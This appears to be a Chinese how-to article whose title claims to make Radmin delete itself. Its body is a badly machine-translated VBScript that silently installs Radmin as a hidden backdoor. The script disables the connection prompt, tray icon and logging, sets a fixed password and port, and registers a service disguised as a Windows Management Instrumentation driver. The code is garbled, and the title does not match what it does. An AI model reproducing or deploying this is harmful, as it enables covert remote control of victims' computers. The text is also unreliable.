介绍
这篇文章主要为大家展示了“根据脚本如何实现radmin删除自身”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“根据脚本如何实现radmin删除自身”这篇文章吧。
代码如下:
提醒error resume next , const HKEY_LOCAL_MACHINE =,, H80000002 , 时间=strComputer “干净,, Set StdOut =时间WScript.StdOut 大敌;; Set oReg=GetObject (“winmgmts: {impersonationLevel=冒充}! \ \“,和_ ,, strComputer ,,“根\ \默认值:StdRegProv"),, 时间=strKeyPath “系统\ RAdmin",, oReg.CreateKey HKEY_LOCAL_MACHINE strKeyPath ,, 时间=strKeyPath “系统\ RAdmin \ v2.0",, oReg.CreateKey HKEY_LOCAL_MACHINE strKeyPath ,, 时间=strKeyPath “系统\ RAdmin \ v2.0 \ Server",, oReg.CreateKey HKEY_LOCAL_MACHINE strKeyPath ,, 时间=strKeyPath “系统\ RAdmin \ v2.0 \ Server \ iplist",, oReg.CreateKey HKEY_LOCAL_MACHINE strKeyPath ,, 时间=strKeyPath “系统\ RAdmin \ v2.0 \ Server \ Parameters",, oReg.CreateKey HKEY_LOCAL_MACHINE strKeyPath ,, Set objRegistry =, GetObject (“Winmgmts:根\违约:StdRegProv"),, 时间=strPath “系统\ RAdmin \ v2.0 \ Server \ Parameters",, 时间=uBinary 数组(0,0,0,0),, Return =, objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE strPath,“AskUser", uBinary),, 时间=uBinary 数组(0,0,0,0),, Return =, objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE strPath,“AutoAllow", uBinary),, 时间=uBinary 数组(1,0,0,0),, Return =, objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE strPath,“DisableTrayIcon", uBinary),, 时间=uBinary 数组(0,0,0,0),, Return =, objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE strPath,“EnableEventLog", uBinary),, 时间=uBinary 数组(0,0,0,0),, Return =, objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE strPath,“EnableLogFile", uBinary),, 时间=uBinary 数组(0,0,0,0),, Return =, objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE strPath,“FilterIp", uBinary),, 时间=uBinary 数组(0,0,0,0),, Return =, objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE strPath,“NTAuthEnabled", uBinary),, uBinary =,阵列(198195162215、37223、10224、99、83126、32212173208119),,,,,,,,//此为注册表导出十六进制转为十进制数据,通过:241241241,, Return =, objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE strPath,“Parameter", uBinary),,,,//Radmin密码,, 时间=uBinary 阵列(5 4 0,0),,,,,,//端口:1029,, Return =, objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE strPath,“Port", uBinary),, 时间=uBinary 数组(10,0,0,0),, Return =, objRegistry.SetBinaryValue (HKEY_LOCAL_MACHINE strPath,“Timeout", uBinary),, Set oReg=GetObject (“winmgmts: {impersonationLevel=冒充}! \ \“,和strComputer ,“根\ \默认值:StdRegProv"),, 时间=strKeyPath “系统\ RAdmin \ v2.0 \ Server \ Parameters",, 时间=strValueName “LogFilePath",, 时间=strValue “c: \ logfile.txt",, set wshshell=createobject (“wscript.shell"),,=wshshell.run (“sc.exe  create WinManageHelp binpath=, % systemroot % \ system32系统\ Exporer.exe 开始=,auto", 0),, oReg.SetStringValue HKEY_LOCAL_MACHINE strKeyPath、strValueName strValue , Set oReg=GetObject (“winmgmts: {impersonationLevel=冒充}! \ \“,和strComputer ,“根\ \默认值:StdRegProv"),, 时间=strKeyPath “系统\ \ WinManageHelp" ControlSet001 \服务;,, 时间=strValueName “Description",, 时间=strValue “Windows  Media PlayerWindows 处理Instrumentation Player 司机!”,, oReg.SetStringValue HKEY_LOCAL_MACHINE strKeyPath、strValueName strValue , 时间=strValueName “DisplayName",, 时间=strValue “Windows 处理Instrumentation Player Drivers",, oReg.SetStringValue HKEY_LOCAL_MACHINE strKeyPath、strValueName strValue , 时间=strValueName “ImagePath",, 时间=strValue “c: \ windows \ system32系统\ Exporer.exe /service",, null null null null null null null根据脚本如何实现radmin删除自身